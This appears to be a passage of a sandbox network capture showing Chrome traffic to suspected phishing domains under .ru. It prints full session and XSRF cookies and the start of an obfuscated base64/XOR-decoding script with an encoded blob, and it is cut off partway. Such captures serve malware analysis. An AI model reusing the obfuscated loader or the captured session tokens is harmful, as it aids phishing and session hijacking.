2025-03-17 20:55:04 UTC	628	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-17 20:55:04 UTC	309	IN	Data Raw: 99 e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49722	104.16.6.189	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:04 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=QLIcY8zuRXkneduiM6OiCyNJFAdVng3DHFdLxD_QGD4-1742244904-1.0.1.1-CmjGgIbP4agpLv8m1vdI5en4sDXTII5DRrhGYBzfcy2viX4bO7YAMn5BeXAR8QFG_nTY7oy2NAljL2pUq6hYeVL21uR3v5wrsGyysyAqPP4
2025-03-17 20:55:05 UTC	435	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:05 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 921f63a05eae32f4-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 20:55:05 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-17 20:55:05 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49723	172.67.180.46	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:09 UTC	584	OUT	GET /tarboz@gicb27 HTTP/1.1 Host: xoq7.qakaco.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://grupomarina.brightnexst.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://grupomarina.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:10 UTC	820	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ol4gNF2kKdpjuj8rEWVoujaTxzcvrZnJACZHMb440iP8mKfs6ezQ9n25mDo0jCeYhFdUuW%2FPHGzP1FcEtCgD7znhfuy37t6Sf6y00V9v2WVMXsacyblt7QHG0ZZJ%2BoAPkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921f63bd5ce542c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1581&min_rtt=1577&rtt_var=601&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=1156&delivery_rate=1806930&cwnd=226&unsent_bytes=0&cid=84cc46353b2f3566&ts=783&x=0"
2025-03-17 20:55:10 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-17 20:55:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49707	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:10 UTC	1456	OUT	POST /nm6KwyhgTPlcdaTFM6w4Te3A1nGYYINg9w5 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive Content-Length: 809 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAxg0t7rZuRME4SDx sec-ch-ua-mobile: ?0 Accept: / Origin: https://grupomarina.brightnexst.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://grupomarina.brightnexst.ru/pax6lf1/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRLOEtjTVhIWUcrNGFaY0NYYmg4T0E9PSIsInZhbHVlIjoidE5lQ1dTM1A0NkNHbGV5ajZjVzViTzVxbDgybVpsWlFHc09FaHFLaTZwY3hFUml3ZFJKWldJcEhkS0RIMzE4dVZVTjZ2OVg0Zzg2dWM1SlZRdzFWMW5ucW9YM0pqczFCVVc5ekJrTzJDRGU3SlNuUjBkYmFJR0hCcmFpY0lGQzUiLCJtYWMiOiIxYTBiZjkwYTVjYmM3Yzk4Zjc1ODc1ZjQyYWRlYWQ5MGI1ODM3ZjQwMGJhZmY1MWY0M2ZhMGYzNmRhY2ZkYjJlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkxMVXpXbmc0U1N0WTRTc1NGbFppUUE9PSIsInZhbHVlIjoia1NoQXFBVGR5Ynd5SVpYbHNWM25EWkhQdEFBcVNyU0RhWExTdGZ3bFkvekRzN0UrcDV2cGJyNDJSbXl6RytwUWxhejVXcUcvWUc1TzBpcGJkd3dTZ1hsMkhMcThzdWNoOUdpTWJoV2tCLzNUYW9MRFZLU3V4NUx4Rk92ekdzVE8iLCJtYWMiOiI4ZDA5NWRmODYzMTJiOTBhMmI0NjdlNDllNjgwODc0YjM2YjUwMzUxMzE2YWM5YzVhZDliMWVhMjkxMzAyNGQ0IiwidGFnIjoiIn0%3D
2025-03-17 20:55:10 UTC	809	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 41 78 67 30 74 37 72 5a 75 52 4d 45 34 53 44 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 54 38 78 36 4c 46 31 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 41 78 67 30 74 37 72 5a 75 52 4d 45 34 53 44 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 49 58 32 4f 57 42 4f 61 39 70 68 53 63 36 4f 67 65 44 32 6f 59 65 34 54 69 49 4a 68 6c 39 5a 49 38 43 37 48 75 6d 32 59 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 41 78 Data Ascii: ------WebKitFormBoundaryAxg0t7rZuRME4SDxContent-Disposition: form-data; name="bltpg"T8x6LF1------WebKitFormBoundaryAxg0t7rZuRME4SDxContent-Disposition: form-data; name="sid"IX2OWBOa9phSc6OgeD2oYe4TiIJhl9ZI8C7Hum2Y------WebKitFormBoundaryAx
2025-03-17 20:55:10 UTC	1174	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:10 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n4rJ4CtgC85IfUJweIYigralAu6hl21xfAS1QA1LUeO%2BVSW7qKwWMclTToFPxAZw%2BHW%2BDz%2BZ9ornuizd1nPM9DxuKxx5t2aGMQMZfFH8TplCNdQ94dZnMca2PxE5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=3550&min_rtt=3501&rtt_var=1411&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=3176&delivery_rate=743708&cwnd=251&unsent_bytes=0&cid=d5f9be75d624a4bc&ts=85&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlF2blkwdUpsTEdtemg1TEJsQ0RZY1E9PSIsInZhbHVlIjoiQzBmbnBLRVN2LzlKdGs0aEFOYmJYRDEwUUZvOElVWUZYT2FQYTBZWm1NWlNEY0V6L2JMdWQ0OWhjT0dZZG9EcGdYaS9NZ3R6QWNoOUVDcW5JVXVrZGVOSVBZYXRGemxMc2JENGd3dytBRE5rSzdKY1RaY2xta2VWMjRFTGduakciLCJtYWMiOiIyZWZiODJiNjQ5YjIxZDU4ZGVkMmU1MzA4OWQzODllOWQzZTYwZmU3MzMyMGZhNjUxN2IzOGVmMjBlMmIxNDkyIiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 22:55:10 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-17 20:55:10 UTC	787	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 70 51 52 33 6b 78 54 31 55 33 65 54 52 76 4c 33 56 4a 52 56 64 49 56 30 70 4f 57 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 47 52 46 4d 7a 42 48 55 53 74 6b 64 44 56 33 63 31 42 47 57 55 35 72 64 33 6c 35 53 54 64 44 4e 6a 5a 70 51 6e 42 70 62 54 42 42 62 6a 52 72 52 46 4e 58 55 6d 78 44 62 31 64 36 53 33 46 6d 65 69 74 59 59 31 56 4f 62 7a 52 49 62 33 5a 33 54 48 45 31 54 48 68 55 59 58 6b 33 4f 54 4e 70 62 6b 38 33 4d 6b 6f 79 59 32 49 31 59 57 64 61 56 6d 68 54 61 30 52 78 51 57 39 5a 61 47 6c 72 54 47 6f 77 56 6c 4e 35 62 56 52 32 59 58 6c 32 5a 58 42 50 61 47 35 4c 65 57 5a 34 55 47 78 71 4e 45 56 36 56 54 6b 78 56 46 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InpQR3kxT1U3eTRvL3VJRVdIV0pOWlE9PSIsInZhbHVlIjoiWGRFMzBHUStkdDV3c1BGWU5rd3l5STdDNjZpQnBpbTBBbjRrRFNXUmxDb1d6S3FmeitYY1VObzRIb3Z3THE1THhUYXk3OTNpbk83MkoyY2I1YWdaVmhTa0RxQW9ZaGlrTGowVlN5bVR2YXl2ZXBPaG5LeWZ4UGxqNEV6VTkxVFM
2025-03-17 20:55:10 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-17 20:55:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49724	172.67.180.46	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:10 UTC	391	OUT	GET /tarboz@gicb27 HTTP/1.1 Host: xoq7.qakaco.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 20:55:11 UTC	827	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GTgM3j%2FqCPSeGQUTc9skFyQ0nmULm1sVIFgeR10uRjQ3XJCqD%2BHvq53tgfpubL8PmmnGOX%2FB5nlynWmxFl%2F458xIXdMsYlTfoHViOjXbBKm%2FPFfgBjSQYIQo1a%2BB5Ugudw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921f63c57aeb8d3f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2736&min_rtt=2718&rtt_var=1056&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=963&delivery_rate=1018486&cwnd=77&unsent_bytes=0&cid=7f61b93e415e7f1d&ts=723&x=0"
2025-03-17 20:55:11 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-17 20:55:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49726	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:11 UTC	1494	OUT	GET /pax6lf1/ HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://grupomarina.brightnexst.ru/pax6lf1/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlF2blkwdUpsTEdtemg1TEJsQ0RZY1E9PSIsInZhbHVlIjoiQzBmbnBLRVN2LzlKdGs0aEFOYmJYRDEwUUZvOElVWUZYT2FQYTBZWm1NWlNEY0V6L2JMdWQ0OWhjT0dZZG9EcGdYaS9NZ3R6QWNoOUVDcW5JVXVrZGVOSVBZYXRGemxMc2JENGd3dytBRE5rSzdKY1RaY2xta2VWMjRFTGduakciLCJtYWMiOiIyZWZiODJiNjQ5YjIxZDU4ZGVkMmU1MzA4OWQzODllOWQzZTYwZmU3MzMyMGZhNjUxN2IzOGVmMjBlMmIxNDkyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpQR3kxT1U3eTRvL3VJRVdIV0pOWlE9PSIsInZhbHVlIjoiWGRFMzBHUStkdDV3c1BGWU5rd3l5STdDNjZpQnBpbTBBbjRrRFNXUmxDb1d6S3FmeitYY1VObzRIb3Z3THE1THhUYXk3OTNpbk83MkoyY2I1YWdaVmhTa0RxQW9ZaGlrTGowVlN5bVR2YXl2ZXBPaG5LeWZ4UGxqNEV6VTkxVFMiLCJtYWMiOiIxYzAzZmM2MDlmNjMwY2ExZWMwNmFjZTY2Yzk2Njk1MTA2YTI5OTQyNjkyZTkyM2E5YWU0MGEwZDk0N2UwNTI5IiwidGFnIjoiIn0%3D
2025-03-17 20:55:11 UTC	1202	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cMxe571FaAmmeqPSbvEd4AFuitewIahUGzHb1uQmosE7noIHDOIwwo%2B0p%2FHnjrMEMsnH2eYklSOMAeLQh5lbHzs1u3jkVBs1Y3JBE5l4VR6boACfRegcGaFt3Sbw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=2466&min_rtt=2128&rtt_var=899&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2396&delivery_rate=1355805&cwnd=251&unsent_bytes=0&cid=45719e4e1ad6abcf&ts=112&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImY2L3FleFlvRmx1ZmVHMmY1NXRETWc9PSIsInZhbHVlIjoiV01HdnVjLzhnNTZiaWhvYVhqcDdNNUlJejdoVXl3K0pWQlo3TVZxWXkwQjFtTk9xV0FTOXk5YkZFb1p5a1NnR2hsNFo0bXhSVkFIbmFwOTFPSHFaNk5DUVJWc25ERmdBRUVXc05SSGdNYzR1TSsvMGZSWnpMV21vZ1o2OUxQMW8iLCJtYWMiOiI0NjE5YTYwNzJiY2M4NWQyZTNiZTMwOGY4MWE2YTA3NDVjMDM5MGY3ZDE4NjI3YzA3MzhkZDM2Njc4OTM1Nzc5IiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 22:55:11 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-17 20:55:11 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 42 68 57 6d 74 72 55 55 4a 56 4e 6d 4a 6f 4e 6c 51 35 5a 48 41 32 4d 54 55 30 57 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 57 68 47 61 45 4e 73 59 30 35 79 62 6b 52 75 57 47 78 31 59 55 6c 44 64 6c 52 33 54 54 5a 47 4e 6e 64 53 55 47 74 46 4e 6c 5a 42 51 30 6c 32 4f 46 64 30 56 54 67 32 61 31 68 44 55 31 70 70 64 48 52 33 62 32 39 53 4e 44 67 31 63 55 68 4d 52 7a 5a 57 59 7a 45 33 62 31 4e 57 5a 32 52 45 53 6e 46 46 64 44 41 31 4e 32 56 6a 51 55 64 6e 5a 69 39 59 5a 48 59 78 63 55 4a 78 54 32 73 35 53 6b 59 33 54 6d 46 49 63 30 77 34 61 58 4a 5a 5a 56 41 32 65 58 64 46 5a 57 78 51 5a 32 4d 7a 61 55 52 6b 54 57 6b 7a 53 45 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InBhWmtrUUJVNmJoNlQ5ZHA2MTU0Wnc9PSIsInZhbHVlIjoiZWhGaENsY05ybkRuWGx1YUlDdlR3TTZGNndSUGtFNlZBQ0l2OFd0VTg2a1hDU1ppdHR3b29SNDg1cUhMRzZWYzE3b1NWZ2RESnFFdDA1N2VjQUdnZi9YZHYxcUJxT2s5SkY3TmFIc0w4aXJZZVA2eXdFZWxQZ2MzaURkTWkzSEE
2025-03-17 20:55:11 UTC	1369	IN	Data Raw: 34 32 39 38 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 57 63 6e 71 64 56 64 72 44 5a 28 69 6f 4e 58 78 64 58 61 65 56 2c 20 47 73 7a 4f 4f 6e 45 59 43 49 29 20 7b 0d 0a 6c 65 74 20 4e 47 65 47 4b 76 48 6c 47 53 20 3d 20 27 27 3b 0d 0a 69 6f 4e 58 78 64 58 61 65 56 20 3d 20 61 74 6f 62 28 69 6f 4e 58 78 64 58 61 65 56 29 3b 0d 0a 6c 65 74 20 68 79 66 48 6f 49 46 61 55 56 20 3d 20 47 73 7a 4f 4f 6e 45 59 43 49 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 69 6f 4e 58 78 64 58 61 65 56 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 4e 47 65 47 4b 76 48 6c 47 53 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 69 6f 4e 58 78 64 58 61 65 56 2e 63 68 61 72 43 Data Ascii: 4298<script>function WcnqdVdrDZ(ioNXxdXaeV, GszOOnEYCI) {let NGeGKvHlGS = '';ioNXxdXaeV = atob(ioNXxdXaeV);let hyfHoIFaUV = GszOOnEYCI.length;for (let i = 0; i < ioNXxdXaeV.length; i++) { NGeGKvHlGS += String.fromCharCode(ioNXxdXaeV.charC
2025-03-17 20:55:11 UTC	1369	IN	Data Raw: 6d 46 52 41 57 47 7a 4d 72 45 43 74 55 62 6a 38 46 4e 52 64 6d 4a 79 67 37 43 32 56 61 4f 78 6f 6d 4c 53 73 50 4e 42 5a 39 4b 77 59 2b 45 51 45 42 4c 6a 73 69 59 56 6f 37 46 69 31 6e 42 68 42 52 46 6e 41 39 48 54 55 39 46 77 34 2f 4b 43 5a 31 43 7a 73 52 4e 54 4d 47 47 79 4e 53 66 53 73 38 59 68 63 35 4f 47 34 6f 4c 57 59 56 46 67 55 68 4a 77 59 51 4c 77 70 56 4f 79 68 69 4f 7a 30 4e 61 41 49 4c 59 67 41 2b 45 54 59 6d 46 51 41 4e 49 56 5a 65 49 44 34 37 50 51 35 72 4c 79 5a 32 56 54 34 54 52 42 38 47 47 79 41 43 66 53 38 7a 4e 54 30 58 44 6a 38 6f 4a 6e 55 4c 46 79 73 32 50 69 73 51 4b 78 5a 37 42 54 42 69 46 7a 6f 5a 4e 43 30 6d 64 68 59 54 46 52 67 35 4b 78 77 4f 41 6c 41 6b 4f 47 4d 75 42 7a 67 2f 41 46 64 69 57 53 4e 67 54 54 38 56 44 41 34 43 65 68 Data Ascii: mFRAWGzMrECtUbj8FNRdmJyg7C2VaOxomLSsPNBZ9KwY+EQEBLjsiYVo7Fi1nBhBRFnA9HTU9Fw4/KCZ1CzsRNTMGGyNSfSs8Yhc5OG4oLWYVFgUhJwYQLwpVOyhiOz0NaAILYgA+ETYmFQANIVZeID47PQ5rLyZ2VT4TRB8GGyACfS8zNT0XDj8oJnULFys2PisQKxZ7BTBiFzoZNC0mdhYTFRg5KxwOAlAkOGMuBzg/AFdiWSNgTT8VDA4Ceh
2025-03-17 20:55:11 UTC	1369	IN	Data Raw: 45 43 38 4a 65 78 74 43 47 54 30 58 44 6a 38 6f 4c 51 51 69 4d 54 78 45 4a 41 41 76 55 53 35 75 4b 30 73 34 45 41 4e 2b 4e 41 4d 4c 5a 52 6b 72 42 53 59 2f 48 51 41 37 43 56 59 43 49 42 38 56 44 41 46 6f 4f 7a 49 42 41 42 45 37 45 7a 6f 57 61 6c 67 51 55 43 73 6b 5a 68 41 54 66 6a 51 44 43 32 45 43 50 68 45 32 4f 53 73 50 56 41 39 51 4b 78 34 6b 46 6a 30 6e 4e 41 55 49 59 68 6b 57 45 52 38 7a 4b 69 39 52 4c 6e 30 76 4d 7a 55 39 45 78 6c 71 4f 7a 49 42 58 44 34 38 4e 69 30 56 41 44 73 4a 56 67 49 67 46 79 34 44 46 54 41 46 4d 6b 78 63 4f 52 45 66 59 77 73 4a 44 67 4a 39 4c 7a 4d 31 46 7a 6b 5a 61 41 55 39 66 68 6b 37 46 53 34 38 4c 52 41 76 43 58 73 62 51 68 6b 53 42 79 52 76 4a 54 52 45 41 79 59 46 51 51 45 62 44 79 73 33 55 43 73 38 46 7a 30 51 66 7a 38 Data Ascii: EC8JextCGT0XDj8oLQQiMTxEJAAvUS5uK0s4EAN+NAMLZRkrBSY/HQA7CVYCIB8VDAFoOzIBABE7EzoWalgQUCskZhATfjQDC2ECPhE2OSsPVA9QKx4kFj0nNAUIYhkWER8zKi9RLn0vMzU9ExlqOzIBXD48Ni0VADsJVgIgFy4DFTAFMkxcOREfYwsJDgJ9LzM1FzkZaAU9fhk7FS48LRAvCXsbQhkSByRvJTREAyYFQQEbDys3UCs8Fz0Qfz8
